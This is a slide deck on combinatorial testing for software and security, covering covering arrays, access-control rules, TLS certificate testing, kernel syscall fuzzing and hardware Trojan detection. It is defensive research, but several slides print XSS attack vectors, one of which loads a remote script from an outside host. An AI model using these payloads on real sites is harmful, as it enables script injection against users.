- Partition according to these dependencies
- Exhaustively test the inputs on which an output is dependent
- Detects add, change, delete of conditions up to k, large class of errors for conditions with m terms, m > k

Two layer covering arrays fully automated after definition of equivalence classes

- Define boundaries of equivalence classes
- Approx half of faults detected with no human intervention
- We envision this type of checking as part of the build process; can be used in parallel with static analysis, type checking







- 1. Intro, empirical data and fault model
- 2. How it works and coverage/cost considerations
- 3. Critical software
- 4. Security systems

Combinatorial Security Testing

Large scale automated software testing for security

- Complex web applications
- Linux kernels
- Protocol testing & crypto alg. validation
- Hardware Trojan horse (HTH) detection

Combinatorial methods can make **software security testing** much more **efficient** and effective than conventional approaches













Web security: Models for vulnerabilities

Cross-Site-Scripting (XSS): Top 3 Web Application Security Risk

- Inject client-side script(s) into web-pages viewed by other users
- Malicious (JavaScript) code gets executed in the victim's browser



Difference from Classical CT: Modelling Attack Vectors

 Attacker injects client-side script in parameter msg: http://www.foo.com/error.php?msg=<script>alert(1)</script>



Sample of XSS and SQLi vulnerabilities found



Tidy your HTML

An effor (I/O error: 403 Access to url '" autofocus onfocus="var h=document.getElementsByTagName('head') [0]; var s=document.createElement('script'); s.src='http://www.sba-research.org/x.js';) trying to get

Address of document to tidy:

indent

enforce XML well-formedness of the results (may lead to loss of parts of the originating document if too ill-formed)

get tidy results

Stuff used to build this service

- tidy
- · xmllint (for enforcing XML well-formedness)
- python, apache, etc.

See also the underlying Python script.

script \$Revision: 1.22 \$ of \$Date: 2013-10-21 12:13:33 \$ by <u>Dan Connolly</u> Further developed and maintained by Dominique Hazael-Massieux





Security Protocol Testing



X.509 certificates for TLS

Main Usage

- Used during TLS handshake to authenticate communication partners
- Usually only the server sends its certificate
- Faults in validation code can result in MITM and related impersonation attacks



Figure: Schematic of an Impersonation Attack



CoveringCerts: 2-way test set for certificates

Mandatory Block				Bas	ic Constra	int Extension	Block
version	hash	key	signature	active	critical	is_authority	pathlen
0	md5	dsa	self	true	false	false	1
0	sha1	rsa	unrelated	false	dummy	dummy	dummy
0	sha256	dsa	parent	true	true	true	0
1	md5	rsa	unrelated	true	true	false	0
1	sha1	rsa	parent	true	false	true	1
1	sha256	dsa	self	false	dummy	dummy	dummy
2	md5	rsa	parent	false	dummy	dummy	dummy
2	sha1	dsa	self	true	true	true	0
2	sha256	rsa	unrelated	true	false	false	1
1	md5	dsa	unrelated	true	false	true	0
2	sha1	dsa	parent	true	true	false	1
0	sha256	rsa	self	false	dummy	dummy	dummy



Example: Test translation

```
Version = 2
Validity_Time = valid
Issuer = Chain
Key_Type = RSA
Signature_Type = Chain
Signature_Algorithm = SHA1
Ext_BC_enabled = 1
Ext BC critical = 0
Ext BC CA = 1
Ext_BC_pathlen = 1
Ext KU enabled = 0
Ext_KU_critical = n/a
Ext_Extended_KU_enabled = 0
Ext Extended KU critical = n/a
Ext_unknown_enabled = 0
Ext_unknown_critical = n/a
```

Data :

Version: 3 (0x2) Serial Number: 1 (0x1) Signature Algorithm: sha1WithRSAEncryption Issuer: C=AU, ST=SBA, L=SBA, O=SBAR, OU=CST, CN=root/emailAddress=root@example.org Validity Not Before: Jan 1 22:51:58 2017 GMT Not After : Jan 1 22:51:58 2019 GMT Subject: C=AU, ST=SBA, L=SBA, O=SBAR, OU=CST, CN=leaf/emailAddress=foo@example.org Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (1024 bit) Modulus : 00:b3:d6:02:77:2b:d1:a6: [..] c5:be:35:e3:74:20:4a:e1:f1 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:TRUE, pathlen:1 Signature Algorithm: sha1WithRSAEncryption 7a:78:59:74:0b:8e:3f:56:b4:3b:6e:5a:



Errors observed for TLS implementations



Error	BouncyCastle	wolfSSL	GnuTLS	NSS	OpenJDK	OpenSSL	mbed
untrusted	1	1	1	1	1	1	1
expired or not yet valid	1	1	1	1	1	1	1
parse-error	1	1	1	1	1	×	✓
crash	×	1	×	×	×	×	×
use of insecure algorithm	×	×	1	1	×	×	✓
invalid signature	×	1	1	1	×	×	×
unknown critical extension	×	×	×	1	×	1	×
extension in non-v3 cert	×	×	×	×	1	×	×
use of weak key	×	×	×	×	×	×	✓
name constraint violation	×	×	×	1	×	×	×
key usage not allowed	×	×	×	1	×	×	×



SCAs for browser fingerprinting

- Identification of user browser can be used offensively/defensively
- Custom TLS handshakes are created using SCAs
- Classification based only on behavior analysis







SCAs for browser fingerprinting: evaluation



- Firefox
- Google Chrome, Opera},
- Microsoft Internet Explorer, Microsoft Edge





Recommendations on TLS cipher suites







Combinatorial coverage of TLS registry



- coverage of 37.62% for 2-way (363 out of 965 combinations)
- coverage of 9.06% for 3-way (317 out of 3,500 combinations)





KERIS: security models of API function calls

- KERIS' features cover the complete testing cycle: modelling, test case generation, test case execution, log archiving and subsequent post-processing of the results
- Additional oracle: Integrating KernelAddressSANitizer (KASAN), a dynamic memory error detector for the Linux kernel
- Other improvements: Various bug fixes and improved usability



Reproducing kernel security vulnerabilities

Security Vulnerability in Linux Networking Stack

- First discovered by Google's Project Zero team (also with the help of KASAN for detecting memory errors)
- Input model: We created a fine-tuned combinatorial model of a network configuration setup
- SUT: Together with assigning parameter values to the sendto system call

[30.605462] BUG: unable to handle kernel paging request at
 ffff880007a60b28
[30.605500] IP: [<ffffffff818baf55>] prb_fill_curr_block.isra.62+0
 x15/0xc0
[30.605525] PGD 1e0c067 PUD 1e0d067 PMD ffd4067 PTE 8010000007a60065
[30.605550] Dops: 0003 [#1] SMP KASAN

Excerpt of a Kernel crash produced with KERIS



Malicious hardware logic detection

Cryptographic Trojans as Instances of Malicious Hardware

- Scenario: Trojans reside inside cryptographic circuits that perform encryption and decryption in FPGA technologies
 - Examples: Block ciphers (AES), Stream Ciphers (Mosquito)
- Problem: Hardware Trojan horse (HTH) detection



Combinational Trojans

A Combinational Trojan in AES-128

• Activates when a specific combination of key bits appears



- When all monitored inputs are "1", the Trojan payload part (just one XOR gate!) is activated
- Trojan reverses the mode of operation (DoS attack)

Triggering Hardware Trojan horses

Threat Model

- The attacker can control the key or the plaintext input and can observe the ciphertext output
- The attacker combines only a few signals for the activation

Input Model for Symmetric Ciphers

- Activating Sequence: Trojan monitors k << 128 key bits of AES-128
- Attack vectors: Model activating sequences of the Trojan
 (black-box testing); 128 binary parameters for AES-128
- Input space: $2^{128} = 3.4 \times 10^{38}$ for 128 bits key
 - Exhaustive testing becomes intractable



Optimized test sets and test execution

n	t	Lesperance et al. (2015)	CMA	ours
128	2	2 ⁷	129	11
128	3	-	256	37
128	4	2 ¹³	8, 256	112
128	5	-	16, 256	252
128	6	-	349, 504	720
128	7	-	682,752	2,462
128	8	2 ²³	11,009,376	17, 544



Hardware implementation: AES symmetric encryption algorithm over the Verilog-HDL model with the Sakura-G FPGA board

Oracle

Compare the output with a Trojan-free design of AES-128 (e.g. software implementation)





Detecting Hardware Trojan horses

• Test suite strength (t) vs. Trojan length (k)

	Suite	Number of activations				
t	size	<i>k</i> = 2	<i>k</i> = 4	<i>k</i> = 8		
2	11	5	3	0		
3	37	12	4	0		
4	112	32	7	1		
5	252	62	14	1		
6	720	307	73	6		
7	2462	615	153	10		
8	17544	4246	1294	178		

Our Evaluation Results at a Glance

- There are about 366 *trillion* possible combinations for the Trojan activation;
- The whole space is covered with less than 18 thousands vectors
- .. and these vectors activate the Trojan hundreds of times




Summary

- Software failures are triggered by a small number of factors interacting – 1 to 6 in known cases
- Therefore covering all t-way combinations, for small t, is pseudo-exhaustive and provides strong assurance
- Strong *t*-way interaction coverage can be provided using covering arrays
- Combinatorial testing is practical today using existing tools for real-world critical software & security systems
 - Combinatorial methods have been shown to provide significant cost savings with improved test coverage, and proportional cost savings increases with the size and complexity of problem

Please contact us if you're interested!



Rick Kuhn & Raghu Kacker Dimitris Simos {kuhn,raghu.kacker}@nist.gov dsimos@sba-research.org

http://csrc.nist.gov/acts https://matris.sba-research.org/research/cst/





Crash Testing

- Like "fuzz testing" send packets or other input to application, watch for crashes
- Unlike fuzz testing, input is non-random; cover all t-way combinations
- May be more efficient random input generation requires several times as many tests to cover the t-way combinations in a covering array
 - Limited utility, but can detect high-risk problems such as:
 - buffer overflows
 - server crashes



Embedded Assertions

Assertions check properties of expected result:

ensures balance == \old(balance) - amount && \result == balance;

•Reasonable assurance that code works correctly across the range of expected inputs

•May identify problems with handling unanticipated inputs

- •Example: Smart card testing
 - Used Java Modeling Language (JML) assertions
 - Detected 80% to 90% of flaws



New method using two-layer covering arrays

Consider equivalence classes

Example: shipping cost based on distance *d* and weight *w*, with packages < 1 pound are in one class, 1..10 pounds in another, > 10 in a third class.

Then for cost function f(d,w),

f(d, 0.2) = f(d, 0.9),for equal values of *d*.

But

 $f(d, 0.2) \neq f(d, 5.0),$

because two different weight classes are involved.

Using the basic property of equivalence classes

when a_1 and a_2 are in the same equivalence class, $f(a_1,b,c,d,...) \approx f(a_2,b,c,d,...),$

where \approx is equivalence with respect to some predicate.

If not, then

- either the code is wrong,
- or equivalence classes are not defined correctly.

Can we use this property for testing?

Let's do an example: access control. access is allowed if
(1) subject is employee & time is in working hours on a weekday; or
(2) subject is an employee with administrative privileges; or
(3) subject is an auditor and it is a weekday.

Equivalence classes for <u>time of day</u> and <u>day of the week</u>

time = minutes past midnight (0..0539), (0540..1020), (1021..1439).

Days of the week = weekend and weekdays, designated as (1,7) and (2..6) respectively.

Code we want to test

```
int access_chk() {
   if (emp && t >= START && t <= END &&
        d \ge MON \&\& d \le FRI) return 1;
   else
   if (emp && p) return 2;
   else
   if (aud && d >= MON && d <= FRI)
       return 3;
   else
   return 0;
```

}

Establish equivalence classes

emp: boolean		
day: (1,7), (2,	6)	
A1 A	42	
time:(0,100,539),(540,1020),(102	21,1439)
B 1	B2	B 3
priv: boolean		
aud: boolean		

day (enum) : A1,A2 time (enum): B1,B2,B3

All of these should be equal



These should also be equal



$$f(0, \begin{bmatrix} 2\\6\\6\\100\\539\end{bmatrix}, 0, 0) \qquad f(0, \begin{bmatrix} 2\\6\\100\\539\end{bmatrix}, \begin{bmatrix} 0\\6\\100\\539\end{bmatrix}, 0, 0)$$

Covering array

Primary emp: boolean array: day: (1,7), (2,6) A1 A2 $0, A2, B1, 1, 1^{-1}$ time: (0,539),(540,1020),(1021, 1439) **B**1 **B**2 **B**3 1,A1,B1,0,0 priv: boolean 0,A1,B2,1,0 aud: boolean 1,A2,B2,0,1 Class A2 = (2,6)0,A1,B3,0,1 Class B1 = (0,539)1,A2,B3,1,0 02011 06011

0 2 539 1 1 0 6 539 1 1

Run the tests

Faulty code: if (emp && t>=START && t==END && d>=MON && d<=FRI) return 1; Faulty code output: 3333 0000 0000 3311 0000 2222

What's happening here?



Can this really work on practical code?

Experiment: TCAS code (same used in earlier model checking tests)

- Small C module, 12 variables
- Seeded faults in 41 variants
- Results:

Primary x secondary	#tests	total	faults detected
3-way x 3-way	285x8	2280	6
4-way x 3-way	970x8	7760	22

- More than half of faults detected
- Large number of tests -> but fully automated, no human intervention
- We envision this type of checking as part of the build process; can be used in parallel with static analysis, type checking

Next Steps

Realistic trial use

Different constructions for secondary array, e.g., random values

Formal analysis of applicability – range of applicability/effectiveness, limitations, special cases

Determine how many faults can be detected this way

Develop tools to incorporate into build process

Input Model Considerations

- Nearly all testing requires selecting representative values from input parameters
- Examples: distance, angle, dollars, etc.
- Most software has this issue
- Affects number of tests produced in covering array
- How can we improve input modeling process?

Classification tree



Finished tree -> test parameters



ComTest tool to speed up this process



Learning and Applying Combinatorial Testing

Tutorials:

- "Practical Combinatorial Testing", NIST publication

 case studies and examples, 82 pages;
 http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-142.pdf
- Youtube search "pairwise testing" or "combinatorial testing"; several good videos
- "Pairwise Testing in the Real World: Practical Extensions to Test-Case Scenarios", Jacek Czerwonka, Microsoft https://msdn.microsoft.com/en-us/library/cc150619.aspx

Learning and Applying Combinatorial Testing

Web sites:

- csrc.nist.gov/acts tutorials, technical papers, free and open source tools
- pairwise.org tutorials, links to free and open source tools
- Air Force Institute of Technology statistical testing for systems and software http://www.afit.edu/STAT/page.cfm?page=713

Model checking example



```
-- specification for a portion of tcas - altitude separation.
-- The corresponding C code is originally from Siemens Corp. Research
-- Vadim Okun 02/2002
MODULE main
VAR
  Cur Vertical Sep : { 299, 300, 601 };
  High Confidence : boolean;
. . .
init(alt sep) := START ;
  next(alt sep) := case
    enabled & (intent not known | !tcas equipped) : case
      need upward RA & need downward RA : UNRESOLVED;
      need upward RA : UPWARD RA;
      need downward RA : DOWNWARD RA;
      1 : UNRESOLVED;
    esac;
    1 : UNRESOLVED;
  esac;
. . .
SPEC AG ((enabled & (intent not known | !tcas equipped) &
!need downward RA & need upward RA) -> AX (alt sep = UPWARD RA))
-- "FOR ALL executions,
-- IF enabled & (intent not known ....
-- THEN in the next state alt sep = UPWARD RA"
```

Computation Tree Logic



The usual logic operators, plus temporal:

A ϕ - All: ϕ holds on all paths starting from the current state.

E ϕ - Exists: ϕ holds on some paths starting from the current state.

G ϕ - Globally: ϕ has to hold on the entire subsequent path.

F φ - Finally: φ eventually has to hold

X φ - Next: φ has to hold at the next state

[others not listed]

```
execution paths
states on the execution paths
SPEC AG ((enabled & (intent_not_known |
!tcas_equipped) & !need_downward_RA & need_upward_RA)
-> AX (alt_sep = UPWARD_RA))
```

```
"FOR ALL executions,
    IF enabled & (intent_not_known ....
    THEN in the next state alt_sep = UPWARD_RA"
```

What is the most effective way to integrate combinatorial testing with model checking?

- Given AG (P -> AX (R))
 "for all paths, in every state, if P then in the next state, R holds"
- For k-way variable combinations, v1 & v2 & ... & vk
- vi abbreviates "var1 = val1"
- Now combine this constraint with assertion to produce counterexamples. Some possibilities:

1.AG(v1 & v2 & ... & vk & P -> AX !(R))

2. AG(v1 & v2 & ... & vk \rightarrow AX !(1))

3. AG (v1 & v2 & ... & vk \rightarrow AX ! (R))



What happens with these assertions?

- 1. AG (v1 & v2 & ... & vk & P -> AX ! (R)) P may have a negation of one of the v_i, so we get 0 -> AX ! (R)) always true, so no counterexample, no test. This is too restrictive!
- 2. AG(v1 & v2 & ... & vk \rightarrow AX !(1))

The model checker makes non-deterministic choices for variables not in v1..vk, so all R values may not be covered by a counterexample.

This is too loose!

3. AG (v1 & v2 & ... & vk -> AX ! (R)) Forces production of a counterexample for each R. This is just right!



Example: where covering arrays come in

attributes: employee , age, first_aid_training, EMT_cert, med_degree

rule: "If subject is an employee AND 18 or older AND: (has first aid training OR an EMT certification OR a medical degree), then authorize"policy:

 $emp \&\& age > 18 \&\& (fa || emt || med) \rightarrow grant else \rightarrow deny$

(emp && age > 18 && fa) // (emp && age > 18 && emt) // (emp && age > 18 && med) 3-DNF so a 3-way covering array will include combinations that instantiate all of these terms to true

Rule structure

attributes: *employment_status* and *time_of_day*

rule: "If subject is an employee and the hour is between 9 am and 5 pm, then allow entry."

policy structure:

$$R_1 \rightarrow grant$$

$$R_2 \rightarrow grant$$
...
$$R_m \rightarrow grant$$
else \rightarrow deny

Positive testing (easy)

- want to ensure that any set of appropriate attributes produces *grant* decision
- test set GTEST: every test should produce a response of *grant*.
- for any input where some combination of *k* input values matches a *grant* condition, a decision of *grant* is returned.
- Construct test set GTEST with one test for each term of *R* as follows:

• GTEST_i =
$$T_i \bigwedge_{j \neq i} \sim T_j$$

. . .

Negative testing (hard)

- test set DTEST = covering array of strength *k*, for the set of attributes included in *R*
- constraints specified by $\sim R$
- ensures that all deny-producing conjunctions of attributes tested
- masking is not a consideration because of problem structure
 - *deny* is issued only after all *grant* conditions have been evaluated
 - masking of one combination by another can only occur for DTEST when a test produces a response of *grant*
 - if so, an error has been discovered; repair and run test set again

Generating test array for all 3-way negative cases

TRUE

TRUE

FALSE

FALSE

!((emp && age > 18 && fa) // (emp && age > 18 && emt) || variables except for positive cases (emp && age > 18 && med))constraint fa emp age emt TRUE TRUE FALSE FALSE TRUE FALSE TRUE TRUE TRUE TRUE FALSE FALSE FALSE TRUE TRUE FALSE Covering array generator FALSE TRUE FALSE TRUE output FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE TRUE TRUE TRUE FALSE FALSE TRUE FALSE FALSE FALSE TRUE

All 3-way combinations of these

FALSE

TRUE

FALSE

FALSE

med

FALSE

TRUE

FALSE

TRUE

TRUE

FALSE

TRUE

FALSE

TRUE

FALSE

TRUE

FALSE

Number of tests

- for positive tests, Gtest: one test for each term in the rule set, for for *m* rules with *p* terms each , *mp*
- for negative tests, Dtest: one covering array per rule, where each attribute in the rule is a factor
- easily practical for huge numbers of tests when evaluation is fast - access control systems have to be

k	v	n	m	N tests	#GTEST	#DTEST
3	2	50	20	36	80	720
			50		200	1800
		100	20	45	80	900
			50		200	2250
	4	50	20	306	80	6120
			50		200	15300
		100	20	378	80	7560
			50		200	18900
	6	50	20	1041	80	20820
			50		200	52050
		100	20	1298	80	25960
			50		200	64900
4	4 2	50	20	98	80	1960
			50		200	4900
		100	20	125	80	2500
			50		200	6250
	4	50	20	1821	80	36420
			50		200	91050
		100	20	2337	80	46740
			50		200	116850
	6	5 50	20	9393	80	187860
			50		200	469650
		100	20	12085	80	241700
			50		200	604250

Fault detection properties

tests from GTEST and DTEST will detect added, deleted, or altered faults with up to *k* attributes

if more than k attributes are included in faulty term F, some faults are still detected, for number of attributes j > k

j > k and correct term *C* is not a subset of *F*: detected by GTEST

j > k and C is a subset of F: not detected by DTEST; possibly detected by GTEST; higher strength covering arrays for DTEST can detect

generalized to cases with more than grant/deny outputs; suitable for small number of outputs which can be distinguished (in principle can be applied with large number of outputs)

Summarizing: Comparison with Model-based Testing





Sample of XSS and SQLi vulnerabilities found

Methodology

- 1. Executing XSS attack vectors against SUTs
- 2. Identifying one or more inducing combinations of input values that can trigger a successful XSS exploit (example below)

JSO	WS1	INT	WS2	EVH	WS3	PAY	WS4	PAS	WS5	JSE
"> <script></script>										

Retrieving the Root Cause of Security Vulnerabilities

- Analysis revealed common structure for successful XSS Vectors
- E.g. all contain the following 2-tuple: ("><script>, onError=)





Oracle-free testing

Some current approaches:

- Fuzz testing send random values until system fails, then analyze memory dump, execution traces
- Metamorphic testing e.g. cos(x) = cos(x+360), so compare outputs for both, with a difference indicating an error.
- Partial test oracle e.g., insert element x in data structure S, check $x \in S$

ERIS: Combinatorial Kernel Testing

Modelling APIs Function Calls

- Input testing via equivalence- and category partitioning
- · Input testing via novel flattening methodology

syscall (type₁ arg₁, type₂ arg₂, ARG_LIST arg₃) syscall (ν_1, ν_2, l_1)

Abstr. Parameter	Parameter values
ARG_CPU	1, 2, 3, 4,, 8
ARG_MODE_T	1, 2, 3, 4,, 4095, 4096
ARG_PID	-3, -1, \$pid_cron, \$pid_w3m, 999999999
ARG_ADDRESS	<pre>null, \$kernel_address, \$page_zeros, \$page_0xff, \$page_allocs,</pre>
ARG_FD	$fd_1, fd_2, fd_3, \ldots, fd_{15}$
ARG_PATHNAME	$pathname_1, pathname_2, pathname_3, \dots, pathname_{15}$


Combinatorial methods for TLS testing

- Input Test Space for CT: Employ Input Parameter Modelling (IPM)
- TLS Specification: Select parameters and possible values for M1, M5 and M7
- Three different models are constructed which give rise to three distinctive test sets according to standard







Input models for TLS messages

M5:

KeyExchangeAlgorithm : rsa, dhe_dss, dhe_rsa, dh_dss, dh_rsa, dh_anon ClientProtocolVersion : TLS10, TLS11, TLS12, DTLS10, DTLS12 ClientRandom : 46-byteRand PublicValueEncoding : implicit, explicit Yc : empty, ClientDiffie -HellmanPublicValue

/stem Edit Operation:	s Help				
System View	Algorithm: POG Strength	¶∠ ;	uit 📊 🧌 Statist	ics	
oot Node] SYSTEM-M5 KeyExchangeAlgorithm ClientProtocolVersion ClientRandom PublicValueEncoding Yc Relations	KEYEXCHANGEALGORITHM 1 rsa 2 rsa 3 rsa 4 rsa 5 rsa 6 dhe_dss 7 dhe_dss 8 dhe_dss 9 dhe_dss 10 dhe_dss	CLIENTPROTOCOLVERSION TLS10 TLS11 TLS12 DTLS10 DTLS12 TLS10 TLS11 TLS12 DTLS12 DTLS10 DTLS12	CLIENTRANDOM 46-byteRand 46-byteRand 46-byteRand 46-byteRand 46-byteRand 46-byteRand 46-byteRand 46-byteRand 46-byteRand 46-byteRand	PUBLICVALUEENCODING explicit implicit explicit implicit explicit implicit explicit implicit explicit implicit implicit	YC ClientDiffie-HellmanPublic empty clientDiffie-HellmanPublic empty clientDiffie-HellmanPublic ClientDiffie-HellmanPublic empty ClientDiffie-HellmanPublic

M7:

master_secret : empty, half, default, changebyte, multiply finished_label : client finished Hash : empty, half, default, changebyte, multiply

stem Edit Operatior	ACTS - ACT IS Help	S Main Window	
3 🖻 🔒 🗟 🧕	Algorithm: IPOG Strength: 2		
System View	2	Test Result 🛛 🕸 Statisti	cs
📄 [Root Node]	MASTER_SECRET	FINISHED_LABEL	HASH
[SYSTEM-M7]	1 empty	client finished	empty
master_secret	2 empty	client finished	half
finished label	³ empty	client finished	default
Hash	4 empty	client finished	changebyte
rasii	5 empty	client finished	multiply
		Description of the second s	





Test execution framework (TEF)







Case study for Hardware Trojan horses

Test Execution

Hardware implementation: AES symmetric encryption algorithm
over the Verilog-HDL model with the Sakura-G FPGA board



Oracle

Compare the output with a Trojan-free design of AES-128 (e.g. software implementation)



USAF test plan coverage – shockingly good!



All 5-way combinations covered to at least 50%

Testing configurations – combinations of <u>settings</u>

- Example: application to run on any configuration of OS, browser, protocol, CPU, and DBMS
- Very effective for interoperability testing

Test	OS	Browser	Protocol	CPU	DBMS
1	XP	IE	IPv4	Intel	MySQL
2	XP	Firefox	IPv6	AMD	Sybase
3	XP	IE	IPv6	Intel	Oracle
4	OS X	Firefox	IPv4	AMD	MySQL
5	OS X	IE	IPv4	Intel	Sybase
6	OS X	Firefox	IPv4	Intel	Oracle
7	RHL	IE	IPv6	AMD	MySQL
8	RHL	Firefox	IPv4	Intel	Sybase
9	RHL	Firefox	IPv4	AMD	Oracle
10	OS X	Firefox	IPv6	AMD	Oracle





Tradeoffs

Advantages

- Tests rare conditions
- Produces high code coverage
- Finds faults faster
- May be lower overall testing cost
- Disadvantages
 - Expensive at higher strength interactions (>4-way)
 - May require high skill level in some cases (if formal models are being used)